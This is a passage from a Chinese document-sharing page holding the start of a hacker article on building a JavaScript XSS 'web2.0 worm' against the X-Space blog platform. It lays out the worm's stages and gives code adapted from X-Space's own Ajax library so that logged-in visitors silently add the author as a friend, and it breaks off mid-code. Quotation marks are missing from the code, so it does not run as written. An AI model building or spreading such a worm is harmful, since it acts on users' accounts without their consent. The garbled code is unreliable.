- 1、本文档共21页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
web2.0 worm技术细节
本来准备写worm的,但是碰壁了,由于X-Space并非大量使用AJAX技术,所以这个worm会很难诞生(自身复制性等受到了限制),不过刚刚仔细思考了一下,发现即使这个功能模块本身不是基于AJAX,你的worm也可以使用AJAX技术或者同步的XMLHttpRequest()/XMLHTTP技术来实现数据的后台传输。今天是除夕,没办法花过多的时间继续渗透,下面我将总结web2.0 worm的一些技术细节,有不足之处,我会后续补充。
这里说的web2.0 worm是指js脚本编写的蠕虫,现在流行的也就是这个,我的这篇文章《ActionScript的XSS黑客文化》正在严重期待as脚本的黑客文化兴起啊^^
web2.0 worm会无声无息地获取与发送数据,一般情况下可以分为以下过程:
1)、蠕虫初始化
2)、数据的获取与筛选
3)、构造evil数据
4)、发送数据
下面我就以这个过程为顺序来说说对应的js代码应该如何写。
一、蠕虫初始化
技术就是双刃剑,现在的js worm一般都会使用XMLHttpRequest对象,因为无论是异步的数据传输(即AJAX,XMLHttpRequest的open方法的第三个参数为true,表示开启异步)还是同步的数据传输(XMLHttpRequest对象的open方法的第三个参数为false时,默认为true)都是基于这个XMLHttpRequest对象的!为了兼容主流的IE与FF浏览器,我们可以这样来创建XMLHttpRequest对象:
var xmlhttp = false;
if(window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest(); //FF等非IE内核浏览器,就直接这样创建XMLHttpRequest对象
}
else if(window.ActiveXObject){
xmlhttp = new ActiveXObject(Msxml2.XMLHTTP); //IE内核的浏览器,使用ActiveXObject组件来创建不同版本的XMLHttpRequest对象
if(!xmlhttp){xmlhttp = new ActiveXObject(Microsoft.XMLHTTP);}
}
我们也可以将上面的代码写成一个js类,这样的好处是可以扩展,并且当代码量大时就很方便重复利用,咱这个小蠕虫就没必要了。其实我们还可以就地取材,因为这些web2.0的网站如果使用了AJAX技术,那么他们就肯定有自己的AJAX代码了,在全局环境中,可以很方便引用的。比如我就借用了X-Space的ajax.js库文件,轻易地实现这样的功能:每个访问我博客页面的访客(如果此访客本身处于登录状态的话)将不知不觉加我为他的好友。代码如下:
//cosAjax类改自X-Space的Ajax类,删除了对蠕虫不利的代码
function cosAjax(recvType) {
var aj = new Object();
aj.targetUrl = ;
aj.sendString = ;
aj.recvType = recvType ? recvType : HTML;
aj.resultHandle = null;
aj.createXMLHttpRequest = function() {
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType(text/xml);
}
} else if(window.ActiveXObject) {
var versions = [Microsoft.XMLHTTP, MSXML.XMLHTTP, Microsoft.XMLHTTP, Msxml2.XMLHTTP.7.0, Msxml2.XMLHTTP.6.0, Msxml2.XMLHTTP.5.0, Msxml2.XMLHTTP.4.0, MSXML2.XMLHTTP.3.0, MSXML2.XMLHTTP];
for(var i=0; iversions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
if(request) {
return request;
}
} catch(e) {
}
文档评论(0)